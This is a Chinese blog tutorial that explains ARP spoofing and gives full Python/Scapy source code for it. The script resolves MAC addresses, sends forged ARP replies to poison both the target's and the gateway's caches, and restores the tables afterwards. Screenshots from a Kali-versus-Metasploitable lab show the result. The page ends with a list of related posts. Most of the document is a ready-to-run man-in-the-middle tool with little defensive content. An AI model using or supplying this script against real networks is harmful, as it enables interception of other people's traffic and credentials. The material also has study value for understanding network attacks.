python+scapy实现ARP欺骗

  • 需要下载的库
  • ARP欺骗原理
  • 源代码:
  • 运行结果

需要下载的库

可以直接通过pip下载

pip install scapy

ARP欺骗原理

设网关的IP为10.10.10.1,MAC为11:22:33:44:55:AA;
攻击主机的IP为10.10.10.3,MAC为11:22:33:44:55:CC;
受害主机的IP为10.10.10.2,MAC为11:22:33:44:55:BB;

1、攻击主机向网关和目标主机发送ARP欺骗报文,告诉目标主机pc2我是网关,但包中的mac地址为攻击主机pc1的mac地址;告诉网关我是目标主机pc2,但包中的mac地址为攻击主机pc1的mac地址。

2、3即目标主机和网关之间的联系,其实都是向攻击主机发送,由攻击主机先接收,再由攻击主机发送原本应该接收的主机。

源代码:

其中getmac函数对于返回包中源mac地址获取,可以参考python3编写arp扫描器[玩具]中有对srp返回包的结构分析(很详细!)

from scapy.all import *def getmac(target_ip):arp_p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,pdst=target_ip)ans=srp(arp_p,timeout=2,verbose=False)return ans[0].res[0][1][1].fields['hwsrc']#返回mac地址def spoofarpcache(target_ip,target_mac,source_ip):spoofed=ARP(op=2,pdst=target_ip,psrc=source_ip,hwdst=target_mac)send(spoofed,verbose=False)def restorearp(target_ip,target_mac,source_ip,source_mac):packet=ARP(op=2,hwsrc=source_mac,psrc=source_ip,hwdst=target_mac,pdst=target_ip)send(packet,verbose=False)print("ARP Table restored to normal for",target_ip)def main():target_ip=input("Enter Target IP:")gateway_ip=input("Enter Gateway IP:")try:target_mac=getmac(target_ip)print("Target MAC:",target_mac)except:print("Target machine did not respond ARP broadcast.")quit()try:gateway_mac=getmac(gateway_ip)print("Gateway MAC:",gateway_mac)except:print("Gateway is unreachable.")quit()try:print("Sending spoofed ARP responses.")while True:spoofarpcache(target_ip,target_mac,gateway_ip)spoofarpcache(gateway_ip,gateway_mac,target_ip)except:pirnt("ARP spoofing stopped.")restorearp(gateway_ip,gateway_mac,target_ip,target_mac)restorearp(target_ip,target_mac,gateway_ip,gateway_mac)quit()
if __name__=="__main__":main()

运行结果

攻击主机为我的kali主机,目标主机为metasploitable-win2k8虚拟靶机,py是在kali上运行的。
运行结果(kali ip为192.168.44.129,mac为00:0C:29:F6:66:EA;虚拟靶机ip为192.168.44.134 ,mac为00:0C:29:8E:C0:8D;网关ip为192.168.44.2,mac为00:50:56:EE:9D:38):
运行py截图:

原靶机上arp-a,网关的mac地址:

ARP欺骗后(运行后),网关的mac地址变为kali的mac地址:

python+scapy实现ARP欺骗相关推荐

  1. python scapy实现ARP欺骗与DNS欺骗

    (仅限python2.7.15) 关于ARP ARP协议(地址解析协议),是一个能够将IP地址转换为MAC地址来让设备间通讯的协议,由于设备间进行网络通讯时,需要将网络层IP数据包包头中的IP地址信息 ...

  2. arp协议分析python编程实现arp欺骗抓图片

    arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...

  3. python arp欺骗

    使用python构造一个arp欺骗脚本 import os import sys from scapy.all import * import optparse def main():usage=&q ...

  4. python的arp欺骗_python arp欺骗

    使用python构造一个arp欺骗脚本 import os import sys from scapy.all import * import optparse def main(): usage=& ...

  5. 使用arp欺骗进行同一局域网内的抓包

    环境 操作系统: MacOS 10.13.4 包管理工具:MacPorts 2.4.4 arp欺骗工具:arpspoof 2.4 抓取局域网内的IP地址的工具:nmap 7.70 抓包工具:Wires ...

  6. 从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现

    邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址. 其中邻居子系统相当于地址解析协议(IPv4的ARP协议, ...

  7. Python黑帽编程 3.1 ARP欺骗

    Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...

  8. python之arp欺骗

    kali使用Ettercap进行arp欺骗 arp欺骗原理:明天补上 192.168.0.105加入target1,192.168.0.1网关加入target2 点击MITM中的ARP windows ...

  9. python 实现MAC泛洪与ARP欺骗

    声明:本文章的一切内容仅用于交流与学习 目录 一.Python scapy 二.MAC泛洪 三.ARP欺骗 一.Python scapy scapy提供了构造.发送.接收.分析数据包的功能 scapy ...

最新文章

  1. MariaDB 基金会 CEO 宣布将于 10 月 1 日卸任
  2. Spring Boot 2.2.0 正式发布,大幅性能提升 + Java 13 支持
  3. 进入postgresql
  4. java 实现一段文字中,出现次数最多的字
  5. 看完这15张动图,秒懂万有引力与航天难点!
  6. 树莓派3vnc分辨率设置
  7. 电子助力方向机控制模块_【技师投稿】使用道通MS908PRO更换宝马F20底盘方向机...
  8. 9-Shell的逻辑操作符知识介绍-实践及企业案例脚本剖析
  9. 关于python pandas read_csv的理解
  10. c语言语法大全,oc语言基本语法汇总分析
  11. 传递闭包c语言算法解析,找关系的传递闭包 用c语言编 一个关系的传递闭包
  12. 搜狗推送工具只搜狗快速收录方法点解
  13. 动词ing形式的5种用法_动词ing形式的用法及变化规则.
  14. Spoon Kettle 输入之 excel 输入详解(Microsoft Excel input)
  15. 【Vue报错】This is probably not a problem with npm. There is likely additional logging output above
  16. MACBOOK快捷键输入
  17. 开发新产品的三个验证阶段(EVT/DVT/PVT)
  18. 小小突击队服务器维护多久,《小小突击队》08月06日更新公告
  19. APP开发中这十个细节能直接影响到用户体验,那么如何提升用户体验?
  20. db2 修改表空间自增长_db2自动调整表空间的大小 - 木子日京的个人空间 - 51Testing软件测试网 51Testing软件测试网-软件测试人的精神家园...

热门文章

  1. 【前端应该掌握的一些知识点】
  2. 一元二次方程abc决定什么_专题—二次函数一元二次方程-abc意义.pptx
  3. UltraGrid本地Oracle数据库增删改查
  4. [Back-To-Back LC]背对背信用证
  5. iPhone录音转文字怎么操作?手把手教你详细流程
  6. Springboot毕业设计管理系统
  7. 新型材料集成墙面,到底“新”在哪里?
  8. 什么是APS?APS+MES如何解决生产难题?
  9. 不怕新歌有多嗨,就怕老歌带DJ,Python批量对DJ歌曲进行下载
  10. 卷积神经网络的参数计算